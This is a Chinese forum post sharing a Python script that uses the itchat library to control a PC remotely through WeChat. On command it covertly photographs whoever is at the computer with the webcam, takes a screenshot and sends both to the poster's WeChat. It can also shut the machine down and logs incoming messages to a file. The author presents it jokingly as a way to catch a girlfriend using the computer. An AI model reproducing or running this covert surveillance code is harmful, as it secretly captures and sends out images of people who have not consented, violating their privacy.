本文来源吾爱破解论坛
本帖最后由 荆棘云海 于 2019-8-16 11:31 编辑
先放代码,如下:
[Python] 纯文本查看 复制代码
import itchat import os import time import cv2 from PIL import ImageGrab sendMsg = u"{消息助手}:暂时无法回复" usageMsg = u"使用方法:\n回复 cap 获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。\n" \ u"回复 shutdown 电脑关机 \n" flag = 0 #消息助手开关 nowTime = time.localtime() filename = str(nowTime.tm_mday)+str(nowTime.tm_hour)+str(nowTime.tm_min)+str(nowTime.tm_sec)+".txt" myfile = open(filename,'w') @itchat.msg_register('Text') def text_reply(msg): global flag message = msg['Text'] fromName = msg['FromUserName'] toName = msg['ToUserName'] if toName == "filehelper": if message == "cap": #如果回复cap cap = cv2.VideoCapture(0) ret, img = cap.read() cv2.imwrite("weixinTemp.jpg",img) itchat.send('@img@%s'%u'weixinTemp.jpg', 'filehelper') cap.release() #电脑屏幕截图 screen = ImageGrab.grab() screen.save('./screenShot.png','png') itchat.send('@img@%s'%u'screenShot.png', 'filehelper') if message == "shutdown":#如果回复shutdown os.system('shutdown -s -t 60') elif flag == 1: itchat.send(sendMsg,fromName) myfile.write(message) myfile.write("\n") myfile.flush() if __name__ == '__main__': itchat.auto_login(hotReload=True) itchat.send(usageMsg, "filehelper") itchat.run()
主要利用Python第三方库itchat 库来登录到微信网页端,利用 itchat 来发送消息和接收消息。
并通过调用 opencv 打开电脑摄像头进行拍照,如果这个时候女朋友正在使用电脑
回复cap:获取当前用户,自动截图和给电脑使用者拍照,并且发送照片到微信。
回复shutdown:电脑关机,估计会被打,慎用,哈哈哈哈哈
版权声明:
本站所有资源均为站长或网友整理自互联网或站长购买自互联网,站长无法分辨资源版权出自何处,所以不承担任何版权以及其他问题带来的法律责任,如有侵权或者其他问题请联系站长删除!站长QQ754403226 谢谢。